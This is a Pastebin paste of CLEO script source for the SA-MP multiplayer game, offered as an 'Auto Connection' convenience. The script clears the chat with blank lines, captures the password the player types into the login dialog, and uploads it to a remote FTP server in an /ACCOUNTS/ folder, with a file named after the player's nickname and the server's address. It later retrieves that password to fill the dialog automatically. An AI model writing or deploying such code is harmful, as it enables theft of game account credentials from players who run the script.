Advertisement
danya777_kirov

[CLEO][SOURCE] Auto Connection

Oct 28th, 2013
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.13 KB | None | 0 0
  1. {$CLEO}
  2. 0000:
  3.  
  4. if 1@ = SAMP.Base()
  5. then while not SAMP.Available()
  6. wait 0
  7. end
  8. for 1@ = 0 to 99
  9. SAMP.AddChatMessage("", 0xFFFFFF)
  10. end
  11. else end_thread
  12. end
  13.  
  14. 0AC8: 0@ = allocate_memory_size 60
  15. 0AC8: 1@ = allocate_memory_size 60
  16. 0AC8: 2@ = allocate_memory_size 60
  17. 0AD3: 0@ = "server"
  18. 0AD3: 1@ = "login"
  19. 0AD3: 2@ = "pass"
  20. 0AB1: @Connect_to_FTP_server 3 server 0@ login 1@ password 2@ return: connection 25@
  21. 0AD3: 0@ = "CLEO/CLEO_TEXT/log.txt"
  22. 4@ = SAMP.GetSAMPPlayerIDByActorHandle($player_actor)
  23. 4@ = SAMP.GetPlayerNickname(4@)
  24. 0B39: samp get_current_server_address 2@ port 6@
  25. 0AD3: 1@ = format "/ACCOUNTS/%s[%s:%d].txt" 4@ 2@ 6@
  26. if 0AB1: @FTP_get_file 3 hConntection 25@ remote_file 1@ local_file 0@ //return: 8@
  27. then
  28. 2@ = File.Open("CLEO\CLEO_TEXT\log.txt", "rt")
  29. File.ReadString(2@, 0@, 60)
  30. File.Close(2@)
  31. 0B00: delete_file "CLEO\CLEO_TEXT\log.txt"
  32. 0AB1: @InternetCloseHandle 1 connection 25@
  33. 5@ = 1
  34. else 5@ = 0
  35. end
  36.  
  37. /*
  38. После выполнений остается следующее:
  39. 0@ - текущий пароль
  40. 4@ - ник-нейм
  41. 5@ - найден ли пароль
  42. 25@ - подключение
  43. */
  44.  
  45. while true
  46. wait 0
  47. if SAMP.IsDialogActive(1)
  48. then
  49. if 5@ == 0
  50. then
  51. 0AC8: 0@ = allocate_memory_size 128
  52. repeat
  53. wait 0
  54. 0@ = SAMP.GetDialogInputBoxText()
  55. until not SAMP.IsDialogActive(1)
  56. 7@ = File.Open("CLEO\CLEO_TEXT\temp.txt", "wt")
  57. File.WriteString(7@, 0@)
  58. File.Close(7@)
  59. 0B39: samp get_current_server_address 2@ port 6@
  60. 0AD3: 1@ = format "/ACCOUNTS/%s[%s:%d].txt" 4@ 2@ 6@
  61. 0AD3: 2@ = "CLEO/CLEO_TEXT/temp.txt"
  62. if 0AB1: @FTP_put_file 3 connection 25@ local 2@ remote 1@
  63. then 5@ = 1
  64. end
  65. 0AB1: @InternetCloseHandle 1 connection 25@
  66. 0B00: delete_file "CLEO\CLEO_TEXT\temp.txt"
  67. else
  68. SAMP.SetDialogInputBoxText(0@)
  69. SAMP.CloseDialog(1)
  70. end
  71. end
  72. end
  73.  
  74. {$INCLUDE CLEO\INCLUDES\FTP.txt}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement